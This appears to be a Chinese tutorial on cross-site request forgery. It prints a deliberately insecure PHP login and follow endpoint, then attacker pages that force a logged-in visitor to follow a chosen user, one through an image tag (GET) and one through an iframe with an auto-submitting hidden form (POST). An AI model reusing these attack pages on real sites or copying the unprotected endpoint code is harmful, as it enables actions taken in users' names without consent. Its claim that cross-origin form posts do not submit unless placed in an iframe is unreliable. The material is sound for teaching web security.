GET请求伪造
有一个论坛网站,网站有一个可以关注用户的接口,但是必须登录的用户才可以关注其他用户。
这个网站的网站是www.a.com
有一天有一个程序员想提高自己的知名度,决定利用CSRF让大家关注自己
》》该论坛的目录结构和源码资源
index.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 <meta http-equiv="X-UA-Compatible" content="ie=edge"> 7 <title>主页</title> 8 </head> 9 <body> 10 <form action="start.php" method="GET"> 11 <input type="text" name="startname" /><br> 12 <input type="submit" value="关注他" /><br> 13 </form> 14 </body> 15 </html>
login.html
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 <meta http-equiv="X-UA-Compatible" content="ie=edge"> 7 <title>登陆界面</title> 8 </head> 9 <body> 10 <form action="login.php" method="GET"> 11 <input type="text" name="username" id="name"/><br> 12 <input type="password" name="password" /><br> 13 <input type="submit" value="登陆"/><br> 14 </form> 15 </body> 16 </html>
login.php
1 <?php 2 session_start(); 3 if(isset($_GET['username']) && isset($_GET['password'])){ 4 $name=$_GET['username']; 5 $password=$_GET['password']; 6 if($name=="zhangshan" && $password=="wwwww"){ 7 echo "登陆成功,正在跳转。。。。"; 8 setcookie('loginstate',"$name"); 9 $_SESSION["$name"]=$name; 10 echo '<meta http-equiv="refresh" content="0;url=index.html" />'; 11 }else{ 12 echo "登陆失败,重新登陆......"; 13 echo '<meta http-equiv="refresh" content="3;url=login.html" />'; 14 } 15 }else{ 16 echo "输入有误。。。。。密码不正确"; 17 echo '<meta http-equiv="refresh" content="1;url=login.html" />'; 18 } 19 ?>
关注的接口,关注之后会打日志到log.txt
1 <?php 2 session_start(); 3 if(isset($_GET['startname'])){ 4 if(isset($_COOKIE['loginstate'])){ 5 $name=$_SESSION[$_COOKIE['loginstate']]; 6 $startname=$_GET['startname']; 7 echo "当前登陆用户为$name"; 8 echo "<br>"; 9 echo "尊敬的$name,你已经成功关注了$startname"; 10 $myfile = fopen("log.txt", "w") or die("Unable to open file!"); 11 $txt = "尊敬的$name,你已经成功关注了$startname"."\n"; 12 fwrite($myfile, $txt); 13 fclose($myfile); 14 }else{ 15 echo "你还没有登陆,跳转中。。。。。"; 16 echo '<meta http-equiv="refresh" content="3;url=login.html" />'; 17 } 18 }else{ 19 echo "请输入你要关注的用户"; 20 echo '<meta http-equiv="refresh" content="0;url=index.html" />'; 21 } 22 ?>
》》攻击者的网站
攻击者的网站的一个页面是这样的
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 6 <meta http-equiv="X-UA-Compatible" content="ie=edge"> 7 <title>Document</title> 8 </head> 9 <body> 10 如果,客户端不久前登陆过www.a.com, 11 打开此页,自动关注,woshihaore 12 <img src="http://www.a.com/start.php?startname=woshihaoren" /> 13 </body> 14 </html>
这样的话,只要用户在登陆过a网站之后,在浏览器中打开b网站的这个网页,就会自动执行该接口,关注自己,提高关注量的目的达到
》》攻击者可以将链接放在任何可以被浏览器解析并发送请求的地方
如果该接口使用的POST传值的话也是可以的,需要在攻击者的网页上构造一个form表单,但是form表单提交是非跨域的请求,所以请求并不会提交,
但是使用iframe可以解决这个问题,iframe可以解决跨域的问题。
————————————————————————————————————————————————————————————————————————————
有些时候,网站可能采用POST来提交参数,但是form表单受制于同源策略的影响,这种情况下的跨域提交数据。
跨域POST请求伪造之邪恶的iframe
有 一个网站a,存在一个接口,这个接口允许已经登陆的用户,关注别的用户,这个接口需要一个被关注的用户的用户名参数,该接口使用POST传参数
网站a的源码结构
index.html页面使用用户登陆后的页面,这个页面的的form表单提交一个被关注人的用户名
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>主页</title> </head> <body> <form action="start.php" method="POST"> <input type="text" name="startname" /><br> <input type="submit" value="关注他" /><br> </form> </body> </html>
log.txt为日志输出,用户关注的信息会输出到这个日志文件
login.html---为登陆的前端页面
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>登陆界面</title> </head> <body> <form action="login.php" method="GET"> <input type="text" name="username" id="name"/><br> <input type="password" name="password" /><br> <input type="submit" value="登陆"/><br> </form> </body> </html>
login.php---为登陆的后台页面,简单的生成session会话
<?php session_start(); if(isset($_GET['username']) && isset($_GET['password'])){ $name=$_GET['username']; $password=$_GET['password']; if($name=="zhangshan" && $password=="wwwww"){ echo "登陆成功,正在跳转。。。。"; setcookie('loginstate',"$name"); $_SESSION["$name"]=$name; echo '<meta http-equiv="refresh" content="0;url=index.html" />'; }else{ echo "登陆失败,重新登陆......"; echo '<meta http-equiv="refresh" content="3;url=login.html" />'; } }else{ echo "输入有误。。。。。密码不正确"; echo '<meta http-equiv="refresh" content="1;url=login.html" />'; } ?>
start.php---为关注用户的后台接口,接收POST传值
<?php session_start(); if(isset($_POST['startname'])){ if(isset($_COOKIE['loginstate'])){ $name=$_SESSION[$_COOKIE['loginstate']]; $startname=$_POST['startname']; echo "当前登陆用户为$name"; echo "<br>"; echo "尊敬的$name,你已经成功关注了$startname"; $myfile = fopen("log.txt", "w") or die("Unable to open file!"); $txt = "尊敬的$name,你已经成功关注了$startname"."\n"; fwrite($myfile, $txt); fclose($myfile); }else{ echo "你还没有登陆,跳转中。。。。。"; echo '<meta http-equiv="refresh" content="3;url=login.html" />'; } }else{ echo "请输入你要关注的用户"; echo '<meta http-equiv="refresh" content="0;url=index.html" />'; } ?>
网站b作为攻击者的网站,网站b的目录结构
index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>测试跨站请求伪造POST</title> <script type="text/javascript"> function csrf(){ window.frames['steal'].document.forms[0].submit(); } </script> </head> <body onload="csrf()"> <iframe display="none" name="steal" src="./csrf.html"> </iframe> </body> </html>
csrf.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <form action="http://www.a.com/start.php" method="POST" display="none"> <input type="text" name="startname" value="woshihaoren"/><br> <input type="submit" value="关注他" /><br> </form> </body> </html>
这种通过在iframe中嵌套form从而达到使form跨域操作。
这样的话,登陆了a网站的人,再访问b网站的主页就会自动关注表单提交的用户名。